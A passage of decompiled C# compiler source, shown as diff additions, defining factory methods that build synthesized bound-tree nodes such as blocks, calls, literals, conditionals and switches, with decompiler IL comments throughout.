WellKnownMethod(WellKnownMember wm, bool isOptional) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (MethodSymbol)WellKnownMember(wm, isOptional); + } + + public MethodSymbol WellKnownMethod(WellKnownMember wm) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (MethodSymbol)WellKnownMember(wm, isOptional: false); + } + + public Symbol SpecialMember(SpecialMember sm) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + Symbol specialTypeMember = Compilation.GetSpecialTypeMember(sm); + if ((object)specialTypeMember == null) + { + MemberDescriptor descriptor = SpecialMembers.GetDescriptor(sm); + throw new MissingPredefinedMember((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_MissingPredefinedMember, ((MemberDescriptor)(ref descriptor)).DeclaringTypeMetadataName, descriptor.Name), Syntax.Location)); + } + Binder.ReportUseSite(specialTypeMember, Diagnostics, Syntax); + return specialTypeMember; + } + + public MethodSymbol SpecialMethod(SpecialMember sm) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (MethodSymbol)SpecialMember(sm); + } + + public PropertySymbol SpecialProperty(SpecialMember sm) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (PropertySymbol)SpecialMember(sm); + } + + public BoundExpressionStatement Assignment(BoundExpression left, BoundExpression right, bool isRef = false) + { + return ExpressionStatement(AssignmentExpression(left, right, isRef)); + } + + public BoundExpressionStatement ExpressionStatement(BoundExpression expr) + { + return new BoundExpressionStatement(Syntax, expr) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression AssignmentExpression(BoundExpression left, BoundExpression right, bool isRef = false) + { + return AssignmentExpression(Syntax, left, right, left.Type, isRef, hasErrors: false, wasCompilerGenerated: true); + } + + public BoundExpression AssignmentExpression(SyntaxNode syntax, BoundExpression left, BoundExpression right, TypeSymbol type, bool isRef = false, bool hasErrors = false, bool wasCompilerGenerated = false) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + BoundAssignmentOperator boundAssignmentOperator = new BoundAssignmentOperator(syntax, left, right, isRef, type, hasErrors) + { + WasCompilerGenerated = wasCompilerGenerated + }; + InstrumentationState? instrumentationState = InstrumentationState; + bool flag = instrumentationState != null && !instrumentationState.IsSuppressed; + bool flag2; + if (flag) + { + if (left is BoundLocal boundLocal) + { + LocalSymbol localSymbol = boundLocal.LocalSymbol; + if ((object)localSymbol != null && (int)localSymbol.SynthesizedKind == 0) + { + goto IL_0056; + } + } + else if (left is BoundParameter) + { + goto IL_0056; + } + flag2 = false; + goto IL_005e; + } + goto IL_0061; + IL_005e: + flag = flag2; + goto IL_0061; + IL_0056: + flag2 = true; + goto IL_005e; + IL_0061: + if (!flag) + { + return boundAssignmentOperator; + } + return InstrumentationState.Instrumenter.InstrumentUserDefinedLocalAssignment(boundAssignmentOperator); + } + + public BoundBlock Block() + { + return Block(ImmutableArray.Empty); + } + + public BoundBlock Block(ImmutableArray statements) + { + return Block(ImmutableArray.Empty, statements); + } + + public BoundBlock Block(params BoundStatement[] statements) + { + return Block(ImmutableArray.Create(statements)); + } + + public BoundBlock Block(ImmutableArray locals, params BoundStatement[] statements) + { + return Block(locals, ImmutableArray.Create(statements)); + } + + public BoundBlock Block(ImmutableArray locals, ImmutableArray statements) + { + return new BoundBlock(Syntax, locals, statements) + { + WasCompilerGenerated = true + }; + } + + public BoundBlock Block(ImmutableArray locals, ImmutableArray localFunctions, params BoundStatement[] statements) + { + return Block(locals, localFunctions, ImmutableArray.Create(statements)); + } + + public BoundBlock Block(ImmutableArray locals, ImmutableArray localFunctions, ImmutableArray statements) + { + return new BoundBlock(Syntax, locals, localFunctions, hasUnsafeModifier: false, null, statements) + { + WasCompilerGenerated = true + }; + } + + public BoundExtractedFinallyBlock ExtractedFinallyBlock(BoundBlock finallyBlock) + { + return new BoundExtractedFinallyBlock(Syntax, finallyBlock) + { + WasCompilerGenerated = true + }; + } + + public BoundStatementList StatementList() + { + return StatementList(ImmutableArray.Empty); + } + + public BoundStatementList StatementList(ImmutableArray statements) + { + return new BoundStatementList(Syntax, statements) + { + WasCompilerGenerated = true + }; + } + + public BoundStatementList StatementList(BoundStatement first, BoundStatement second) + { + return new BoundStatementList(Syntax, ImmutableArray.Create(first, second)) + { + WasCompilerGenerated = true + }; + } + + public BoundReturnStatement Return(BoundExpression? expression = null) + { + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + if (expression != null) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + Conversion conversion = Compilation.Conversions.ClassifyConversionFromType(expression.Type, CurrentFunction.ReturnType, isChecked: false, ref useSiteInfo); + if (conversion.Kind != ConversionKind.Identity) + { + expression = BoundConversion.Synthesized(Syntax, expression, conversion, @checked: false, explicitCastInCode: false, null, null, CurrentFunction.ReturnType); + } + } + return new BoundReturnStatement(Syntax, CurrentFunction.RefKind, expression, @checked: false) + { + WasCompilerGenerated = true + }; + } + + public void CloseMethod(BoundStatement body) + { + if (body.Kind != BoundKind.Block) + { + body = Block(body); + } + CompilationState.AddSynthesizedMethod(CurrentFunction, body); + CurrentFunction = null; + } + + public LocalSymbol SynthesizedLocal(TypeSymbol type, SyntaxNode? syntax = null, bool isPinned = false, bool isKnownToReferToTempIfReferenceType = false, RefKind refKind = (RefKind)0, SynthesizedLocalKind kind = (SynthesizedLocalKind)(-2)) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + return new SynthesizedLocal(CurrentFunction, TypeWithAnnotations.Create(type), kind, syntax, isPinned, isKnownToReferToTempIfReferenceType, refKind); + } + + public LocalSymbol InterpolatedStringHandlerLocal(TypeSymbol type, SyntaxNode syntax) + { + return new SynthesizedLocal(CurrentFunction, TypeWithAnnotations.Create(type), (SynthesizedLocalKind)(-2), syntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0); + } + + public ParameterSymbol SynthesizedParameter(TypeSymbol type, string name, MethodSymbol? container = null, int ordinal = 0) + { + return SynthesizedParameterSymbol.Create(container, TypeWithAnnotations.Create(type), ordinal, (RefKind)0, name, (ScopedKind)0); + } + + public BoundBinaryOperator Binary(BinaryOperatorKind kind, TypeSymbol type, BoundExpression left, BoundExpression right) + { + return new BoundBinaryOperator(Syntax, kind, null, null, null, LookupResultKind.Viable, left, right, type) + { + WasCompilerGenerated = true + }; + } + + public BoundAsOperator As(BoundExpression operand, TypeSymbol type) + { + return new BoundAsOperator(Syntax, operand, Type(type), null, null, type) + { + WasCompilerGenerated = true + }; + } + + public BoundIsOperator Is(BoundExpression operand, TypeSymbol type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + Conversion conversion = Compilation.Conversions.ClassifyBuiltInConversion(operand.Type, type, isChecked: false, ref useSiteInfo); + return new BoundIsOperator(Syntax, operand, Type(type), conversion.Kind, SpecialType((SpecialType)7)) + { + WasCompilerGenerated = true + }; + } + + public BoundBinaryOperator LogicalAnd(BoundExpression left, BoundExpression right) + { + return Binary(BinaryOperatorKind.LogicalBoolAnd, SpecialType((SpecialType)7), left, right); + } + + public BoundBinaryOperator LogicalOr(BoundExpression left, BoundExpression right) + { + return Binary(BinaryOperatorKind.LogicalBoolOr, SpecialType((SpecialType)7), left, right); + } + + public BoundBinaryOperator IntEqual(BoundExpression left, BoundExpression right) + { + return Binary(BinaryOperatorKind.IntEqual, SpecialType((SpecialType)7), left, right); + } + + public BoundBinaryOperator ObjectEqual(BoundExpression left, BoundExpression right) + { + return Binary(BinaryOperatorKind.ObjectEqual, SpecialType((SpecialType)7), left, right); + } + + public BoundBinaryOperator ObjectNotEqual(BoundExpression left, BoundExpression right) + { + return Binary(BinaryOperatorKind.ObjectNotEqual, SpecialType((SpecialType)7), left, right); + } + + public BoundBinaryOperator IntNotEqual(BoundExpression left, BoundExpression right) + { + return Binary(BinaryOperatorKind.IntNotEqual, SpecialType((SpecialType)7), left, right); + } + + public BoundBinaryOperator IntLessThan(BoundExpression left, BoundExpression right) + { + return Binary(BinaryOperatorKind.IntLessThan, SpecialType((SpecialType)7), left, right); + } + + public BoundBinaryOperator IntGreaterThanOrEqual(BoundExpression left, BoundExpression right) + { + return Binary(BinaryOperatorKind.IntGreaterThanOrEqual, SpecialType((SpecialType)7), left, right); + } + + public BoundBinaryOperator IntSubtract(BoundExpression left, BoundExpression right) + { + return Binary(BinaryOperatorKind.IntSubtraction, SpecialType((SpecialType)13), left, right); + } + + public BoundBinaryOperator IntMultiply(BoundExpression left, BoundExpression right) + { + return Binary(BinaryOperatorKind.IntMultiplication, SpecialType((SpecialType)13), left, right); + } + + public BoundLiteral Literal(byte value) + { + return new BoundLiteral(Syntax, ConstantValue.Create(value), SpecialType((SpecialType)10)) + { + WasCompilerGenerated = true + }; + } + + public BoundLiteral Literal(int value) + { + return new BoundLiteral(Syntax, ConstantValue.Create(value), SpecialType((SpecialType)13)) + { + WasCompilerGenerated = true + }; + } + + public BoundLiteral Literal(StateMachineState value) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected I4, but got Unknown + return Literal((int)value); + } + + public BoundLiteral Literal(uint value) + { + return new BoundLiteral(Syntax, ConstantValue.Create(value), SpecialType((SpecialType)14)) + { + WasCompilerGenerated = true + }; + } + + public BoundLiteral Literal(ConstantValue value, TypeSymbol type) + { + return new BoundLiteral(Syntax, value, type) + { + WasCompilerGenerated = true + }; + } + + public BoundObjectCreationExpression New(NamedTypeSymbol type, params BoundExpression[] args) + { + MethodSymbol ctor = type.InstanceConstructors.Single((MethodSymbol c) => c.ParameterCount == args.Length); + return New(ctor, args); + } + + public BoundObjectCreationExpression New(MethodSymbol ctor, params BoundExpression[] args) + { + return New(ctor, ((IEnumerable)args).ToImmutableArray()); + } + + public BoundObjectCreationExpression New(NamedTypeSymbol type, ImmutableArray args) + { + MethodSymbol ctor = type.InstanceConstructors.Single((MethodSymbol c) => c.ParameterCount == args.Length); + return New(ctor, args); + } + + public BoundObjectCreationExpression New(MethodSymbol ctor, ImmutableArray args) + { + return new BoundObjectCreationExpression(Syntax, ctor, args) + { + WasCompilerGenerated = true + }; + } + + public BoundObjectCreationExpression New(WellKnownMember wm, ImmutableArray args) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol constructor = WellKnownMethod(wm); + return new BoundObjectCreationExpression(Syntax, constructor, args) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression MakeIsNotANumberTest(BoundExpression input) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + TypeSymbol type = input.Type; + if ((object)type != null) + { + SpecialType specialType = type.SpecialType; + if ((int)specialType == 18) + { + return StaticCall((SpecialMember)16, input); + } + if ((int)specialType == 19) + { + return StaticCall((SpecialMember)15, input); + } + } + throw ExceptionUtilities.UnexpectedValue((object)input.Type); + } + + public BoundExpression InstanceCall(BoundExpression receiver, string name, BoundExpression arg) + { + return MakeInvocationExpression(BinderFlags.None, Syntax, receiver, name, ImmutableArray.Create(arg), Diagnostics); + } + + public BoundExpression InstanceCall(BoundExpression receiver, string name) + { + return MakeInvocationExpression(BinderFlags.None, Syntax, receiver, name, ImmutableArray.Empty, Diagnostics); + } + + public BoundExpression StaticCall(TypeSymbol receiver, string name, params BoundExpression[] args) + { + return MakeInvocationExpression(BinderFlags.None, Syntax, Type(receiver), name, ((IEnumerable)args).ToImmutableArray(), Diagnostics); + } + + public BoundExpression StaticCall(TypeSymbol receiver, string name, ImmutableArray args, bool allowUnexpandedForm) + { + SyntaxNode syntax = Syntax; + BoundTypeExpression receiver2 = Type(receiver); + BindingDiagnosticBag diagnostics = Diagnostics; + bool allowUnexpandedForm2 = allowUnexpandedForm; + return MakeInvocationExpression(BinderFlags.None, syntax, receiver2, name, args, diagnostics, default(ImmutableArray), allowUnexpandedForm2); + } + + public BoundExpression StaticCall(BinderFlags flags, TypeSymbol receiver, string name, ImmutableArray typeArgs, params BoundExpression[] args) + { + return MakeInvocationExpression(flags, Syntax, Type(receiver), name, ((IEnumerable)args).ToImmutableArray(), Diagnostics, typeArgs); + } + + public BoundExpression StaticCall(TypeSymbol receiver, MethodSymbol method, params BoundExpression[] args) + { + if ((object)method == null) + { + return new BoundBadExpression(Syntax, LookupResultKind.Empty, ImmutableArray.Empty, ImmutableArrayExtensions.AsImmutable(args), receiver); + } + return Call(null, method, args); + } + + public BoundExpression StaticCall(MethodSymbol method, ImmutableArray args) + { + return Call(null, method, args); + } + + public BoundExpression StaticCall(WellKnownMember method, params BoundExpression[] args) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = WellKnownMethod(method); + Binder.ReportUseSite(methodSymbol, Diagnostics, Syntax); + return Call(null, methodSymbol, args); + } + + public BoundExpression StaticCall(SpecialMember method, params BoundExpression[] args) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = SpecialMethod(method); + Binder.ReportUseSite(methodSymbol, Diagnostics, Syntax); + return Call(null, methodSymbol, args); + } + + public BoundCall Call(BoundExpression? receiver, MethodSymbol method) + { + return Call(receiver, method, ImmutableArray.Empty); + } + + public BoundCall Call(BoundExpression? receiver, MethodSymbol method, BoundExpression arg0, bool useStrictArgumentRefKinds = false) + { + return Call(receiver, method, ImmutableArray.Create(arg0), useStrictArgumentRefKinds); + } + + public BoundCall Call(BoundExpression? receiver, MethodSymbol method, BoundExpression arg0, BoundExpression arg1, bool useStrictArgumentRefKinds = false) + { + return Call(receiver, method, ImmutableArray.Create(arg0, arg1), useStrictArgumentRefKinds); + } + + public BoundCall Call(BoundExpression? receiver, MethodSymbol method, params BoundExpression[] args) + { + return Call(receiver, method, ImmutableArray.Create(args)); + } + + public BoundCall Call(BoundExpression? receiver, WellKnownMember method, BoundExpression arg0) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Call(receiver, WellKnownMethod(method), ImmutableArray.Create(arg0)); + } + + public BoundCall Call(BoundExpression? receiver, MethodSymbol method, ImmutableArray args, bool useStrictArgumentRefKinds = false) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + return new BoundCall(Syntax, receiver, (ThreeState)0, method, args, default(ImmutableArray), getArgumentRefKinds(method, useStrictArgumentRefKinds), isDelegateCall: false, expanded: false, invokedAsExtensionMethod: false, default(ImmutableArray), default(BitVector), LookupResultKind.Viable, method.ReturnType, method.OriginalDefinition is ErrorMethodSymbol) + { + WasCompilerGenerated = true + }; + static ImmutableArray getArgumentRefKinds(MethodSymbol methodSymbol, bool flag) + { + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Invalid comparison between Unknown and I4 + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Invalid comparison between Unknown and I4 + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray parameterRefKinds = methodSymbol.ParameterRefKinds; + if (!parameterRefKinds.IsDefaultOrEmpty && (parameterRefKinds.Contains((RefKind)4) || (flag && parameterRefKinds.Contains((RefKind)3)))) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(parameterRefKinds.Length); + ArrayBuilder val; + RefKind val3; + for (ImmutableArray.Enumerator enumerator = parameterRefKinds.GetEnumerator(); enumerator.MoveNext(); val.Add(val3)) + { + RefKind current = enumerator.Current; + val = instance; + RefKind val2 = current; + int num; + if ((int)val2 != 3) + { + if ((int)val2 != 4) + { + goto IL_0079; + } + num = 1; + } + else + { + num = 0; + } + if (!flag) + { + if (num == 0) + { + goto IL_0079; + } + if (num == 1) + { + val3 = (RefKind)3; + continue; + } + } + val3 = (RefKind)5; + continue; + IL_0079: + val3 = current; + } + return instance.ToImmutableAndFree(); + } + return parameterRefKinds; + } + } + + public BoundCall Call(BoundExpression? receiver, MethodSymbol method, ImmutableArray refKinds, ImmutableArray args) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + return new BoundCall(Syntax, receiver, (ThreeState)0, method, args, default(ImmutableArray), refKinds, isDelegateCall: false, expanded: false, invokedAsExtensionMethod: false, ImmutableArray.Empty, default(BitVector), LookupResultKind.Viable, method.ReturnType) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression Conditional(BoundExpression condition, BoundExpression consequence, BoundExpression alternative, TypeSymbol type, bool isRef = false) + { + return new BoundConditionalOperator(Syntax, isRef, condition, consequence, alternative, null, type, wasTargetTyped: false, type) + { + WasCompilerGenerated = true + }; + } + + public BoundComplexConditionalReceiver ComplexConditionalReceiver(BoundExpression valueTypeReceiver, BoundExpression referenceTypeReceiver) + { + return new BoundComplexConditionalReceiver(Syntax, valueTypeReceiver, referenceTypeReceiver, valueTypeReceiver.Type) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression Coalesce(BoundExpression left, BoundExpression right) + { + return new BoundNullCoalescingOperator(Syntax, left, right, null, null, BoundNullCoalescingOperatorResultKind.LeftType, @checked: false, left.Type) + { + WasCompilerGenerated = true + }; + } + + public BoundStatement If(BoundExpression condition, BoundStatement thenClause, BoundStatement? elseClauseOpt = null) + { + return If(condition, ImmutableArray.Empty, thenClause, elseClauseOpt); + } + + public BoundStatement ConditionalGoto(BoundExpression condition, LabelSymbol label, bool jumpIfTrue) + { + return new BoundConditionalGoto(Syntax, condition, jumpIfTrue, label) + { + WasCompilerGenerated = true + }; + } + + public BoundStatement If(BoundExpression condition, ImmutableArray locals, BoundStatement thenClause, BoundStatement? elseClauseOpt = null) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GeneratedLabelSymbol label = new GeneratedLabelSymbol("afterif"); + if (elseClauseOpt != null) + { + GeneratedLabelSymbol label2 = new GeneratedLabelSymbol("alternative"); + instance.Add(ConditionalGoto(condition, label2, jumpIfTrue: false)); + instance.Add(thenClause); + instance.Add((BoundStatement)Goto(label)); + if (!locals.IsDefaultOrEmpty) + { + BoundBlock boundBlock = Block(locals, instance.ToImmutable()); + instance.Clear(); + instance.Add((BoundStatement)boundBlock); + } + instance.Add((BoundStatement)Label(label2)); + instance.Add(elseClauseOpt); + } + else + { + instance.Add(ConditionalGoto(condition, label, jumpIfTrue: false)); + instance.Add(thenClause); + if (!locals.IsDefaultOrEmpty) + { + BoundBlock boundBlock2 = Block(locals, instance.ToImmutable()); + instance.Clear(); + instance.Add((BoundStatement)boundBlock2); + } + } + instance.Add((BoundStatement)Label(label)); + return Block(instance.ToImmutableAndFree()); + } + + public BoundThrowStatement Throw(BoundExpression e) + { + return new BoundThrowStatement(Syntax, e) + { + WasCompilerGenerated = true + }; + } + + public BoundLocal Local(LocalSymbol local) + { + return new BoundLocal(Syntax, local, null, local.Type) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression MakeSequence(LocalSymbol temp, params BoundExpression[] parts) + { + return MakeSequence(ImmutableArray.Create(temp), parts); + } + + public BoundExpression MakeSequence(params BoundExpression[] parts) + { + return MakeSequence(ImmutableArray.Empty, parts); + } + + public BoundExpression MakeSequence(ImmutableArray locals, params BoundExpression[] parts) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 0; i < parts.Length - 1; i++) + { + if (LocalRewriter.ReadIsSideeffecting(parts[i])) + { + instance.Add(parts[i]); + } + } + BoundExpression result = parts[^1]; + if (locals.IsDefaultOrEmpty && instance.Count == 0) + { + instance.Free(); + return result; + } + return Sequence(locals, instance.ToImmutableAndFree(), result); + } + + public BoundSequence Sequence(BoundExpression[] sideEffects, BoundExpression result, TypeSymbol? type = null) + { + TypeSymbol type2 = type ?? result.Type; + return new BoundSequence(Syntax, ImmutableArray.Empty, ImmutableArrayExtensions.AsImmutableOrNull(sideEffects), result, type2) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression Sequence(ImmutableArray locals, ImmutableArray sideEffects, BoundExpression result) + { + if (!locals.IsDefaultOrEmpty || !sideEffects.IsDefaultOrEmpty) + { + return new BoundSequence(Syntax, locals, sideEffects, result, result.Type) + { + WasCompilerGenerated = true + }; + } + return result; + } + + public BoundSpillSequence SpillSequence(ImmutableArray locals, ImmutableArray sideEffects, BoundExpression result) + { + return new BoundSpillSequence(Syntax, locals, sideEffects, result, result.Type) + { + WasCompilerGenerated = true + }; + } + + public SyntheticSwitchSection SwitchSection(int value, params BoundStatement[] statements) + { + return SwitchSection(ImmutableArray.Create(value), statements); + } + + public SyntheticSwitchSection SwitchSection(ImmutableArray values, params BoundStatement[] statements) + { + return new SyntheticSwitchSection(values, ImmutableArray.Create(statements)); + } + + public BoundStatement Switch(BoundExpression ex, ImmutableArray sections) + { + if (sections.Length == 0) + { + return ExpressionStatement(ex); + } + GeneratedLabelSymbol generatedLabelSymbol = new GeneratedLabelSymbol("break"); + ArrayBuilder<(ConstantValue, LabelSymbol)> instance = ArrayBuilder<(ConstantValue, LabelSymbol)>.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + instance2.Add((BoundStatement)null); + ImmutableArray.Enumerator enumerator = sections.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntheticSwitchSection current = enumerator.Current; + LabelSymbol labelSymbol = new GeneratedLabelSymbol("case " + current.Values[0]); + instance2.Add((BoundStatement)Label(labelSymbol)); + instance2.AddRange(current.Statements); + ImmutableArray.Enumerator enumerator2 = current.Values.GetEnumerator(); + while (enumerator2.MoveNext()) + { + int current2 = enumerator2.Current; + instance.Add((ConstantValue.Create(current2), labelSymbol)); + } + } + instance2.Add((BoundStatement)Label(generatedLabelSymbol)); + instance2[0] = new BoundSwitchDispatch(Syntax, ex, instance.ToImmutableAndFree(), generatedLabelSymbol, null) + { + WasCompilerGenerated = true + }; + return Block(instance2.ToImmutableAndFree()); + } + + [Conditional("DEBUG")] + private static void CheckSwitchSections(ImmutableArray sections) + { + HashSet hashSet = new HashSet(); + ImmutableArray.Enumerator enumerator = sections.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.Values.GetEnumerator(); + while (enumerator2.MoveNext()) + { + int current = enumerator2.Current; + hashSet.Add(current); + } + } + } + + public BoundGotoStatement Goto(LabelSymbol label) + { + return new BoundGotoStatement(Syntax, label) + { + WasCompilerGenerated = true + }; + } + + public BoundLabelStatement Label(LabelSymbol label) + { + return new BoundLabelStatement(Syntax, label) + { + WasCompilerGenerated = true + }; + } + + public BoundLiteral Literal(bool value) + { + return new BoundLiteral(Syntax, ConstantValue.Create(value), SpecialType((SpecialType)7)) + { + WasCompilerGenerated = true + }; + } + + public BoundLiteral Literal(string? value) + { + ConstantValue stringConst = ConstantValue.Create(value); + return StringLiteral(stringConst); + } + + public BoundLiteral StringLiteral(ConstantValue stringConst) + { + return new BoundLiteral(Syntax, stringConst, SpecialType((SpecialType)20)) + { + WasCompilerGenerated = true + }; + } + + public BoundLiteral StringLiteral(string stringValue) + { + return StringLiteral(ConstantValue.Create(stringValue)); + } + + public BoundLiteral CharLiteral(ConstantValue charConst) + { + return new BoundLiteral(Syntax, charConst, SpecialType((SpecialType)8)) + { + WasCompilerGenerated = true + }; + } + + public BoundLiteral CharLiteral(char charValue) + { + return CharLiteral(ConstantValue.Create(charValue)); + } + + public BoundArrayLength ArrayLength(BoundExpression array) + { + return new BoundArrayLength(Syntax, array, SpecialType((SpecialType)13)); + } + + public BoundArrayAccess ArrayAccessFirstElement(BoundExpression array) + { + ImmutableArray indices = ArrayBuilder.GetInstance(((ArrayTypeSymbol)array.Type).Rank, (BoundExpression)Literal(0)).ToImmutableAndFree(); + return ArrayAccess(array, indices); + } + + public BoundArrayAccess ArrayAccess(BoundExpression array, params BoundExpression[] indices) + { + return ArrayAccess(array, ImmutableArrayExtensions.AsImmutableOrNull(indices)); + } + + public BoundArrayAccess ArrayAccess(BoundExpression array, ImmutableArray indices) + { + return new BoundArrayAccess(Syntax, array, indices, ((ArrayTypeSymbol)array.Type).ElementType); + } + + public BoundStatement BaseInitialization() + { + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = CurrentFunction.ThisParameter.Type.BaseTypeNoUseSiteDiagnostics; + MethodSymbol method = baseTypeNoUseSiteDiagnostics.InstanceConstructors.Single((MethodSymbol c) => c.ParameterCount == 0); + return new BoundExpressionStatement(Syntax, Call(Base(baseTypeNoUseSiteDiagnostics), method)) + { + WasCompilerGenerated = true + }; + } + + public BoundStatement SequencePoint(SyntaxNode syntax, BoundStatement statement) + { + return new BoundSequencePoint(syntax, statement); + } + + public BoundStatement SequencePointWithSpan(CSharpSyntaxNode syntax, TextSpan span, BoundStatement statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return new BoundSequencePointWithSpan((SyntaxNode)(object)syntax, statement, span); + } + + public BoundStatement HiddenSequencePoint(BoundStatement? statementOpt = null) + { + return BoundSequencePoint.CreateHidden(statementOpt); + } + + public BoundStatement ThrowNull() + { + return Throw(Null(Binder.GetWellKnownType(Compilation, (WellKnownType)52, Diagnostics, Syntax.Location))); + } + + public BoundExpression ThrowExpression(BoundExpression thrown, TypeSymbol type) + { + return new BoundThrowExpression(thrown.Syntax, thrown, type) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression Null(TypeSymbol type) + { + return Null(type, Syntax); + } + + public BoundExpression NullRef(TypeWithAnnotations type) + { + return new BoundPointerIndirectionOperator(Syntax, Default(new PointerTypeSymbol(type)), refersToLocation: false, type.Type); + } + + public static BoundExpression Null(TypeSymbol type, SyntaxNode syntax) + { + BoundExpression boundExpression = new BoundLiteral(syntax, ConstantValue.Null, type) + { + WasCompilerGenerated = true + }; + if (!type.IsPointerOrFunctionPointer()) + { + return boundExpression; + } + return BoundConversion.SynthesizedNonUserDefined(syntax, boundExpression, Conversion.NullToPointer, type); + } + + public BoundTypeExpression Type(TypeSymbol type) + { + return new BoundTypeExpression(Syntax, null, type) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression Typeof(WellKnownType type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Typeof((TypeSymbol)WellKnownType(type)); + } + + public BoundExpression Typeof(TypeSymbol type) + { + return new BoundTypeOfOperator(Syntax, Type(type), WellKnownMethod((WellKnownMember)42), WellKnownType((WellKnownType)61)) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression Typeof(TypeWithAnnotations type) + { + return Typeof(type.Type); + } + + public ImmutableArray TypeOfs(ImmutableArray typeArguments) + { + return ImmutableArrayExtensions.SelectAsArray(typeArguments, (Func)Typeof); + } + + public BoundExpression TypeofDynamicOperationContextType() + { + return Typeof((TypeSymbol)CompilationState.DynamicOperationContextType); + } + + public BoundExpression Sizeof(TypeSymbol type) + { + return new BoundSizeOfOperator(Syntax, Type(type), Binder.GetConstantSizeOf(type), SpecialType((SpecialType)13)) + { + WasCompilerGenerated = true + }; + } + + internal BoundExpression ConstructorInfo(MethodSymbol ctor) + { + return new BoundMethodInfo(Syntax, ctor, GetMethodFromHandleMethod(ctor.ContainingType), WellKnownType((WellKnownType)65)) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression MethodDefIndex(MethodSymbol method) + { + return new BoundMethodDefIndex(Syntax, method, SpecialType((SpecialType)13)) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression LocalId(LocalSymbol symbol) + { + return new BoundLocalId(Syntax, symbol, null, SpecialType((SpecialType)13)) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression ParameterId(ParameterSymbol symbol) + { + return new BoundParameterId(Syntax, symbol, null, SpecialType((SpecialType)13)) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression StateMachineInstanceId() + { + return new BoundStateMachineInstanceId(Syntax, SpecialType((SpecialType)16)) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression ModuleVersionId() + { + return new BoundModuleVersionId(Syntax, WellKnownType((WellKnownType)55)) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression ModuleVersionIdString() + { + return new BoundModuleVersionIdString(Syntax, SpecialType((SpecialType)20)) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression InstrumentationPayloadRoot(int analysisKind, TypeSymbol payloadType) + { + return new BoundInstrumentationPayloadRoot(Syntax, analysisKind, payloadType) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression MaximumMethodDefIndex() + { + return new BoundMaximumMethodDefIndex(Syntax, SpecialType((SpecialType)13)) + { + WasCompilerGenerated = true + }; + } + + public BoundExpression SourceDocumentIndex(DebugSourceDocument document) + { + return new BoundSourceDocumentIndex(Syntax, document, 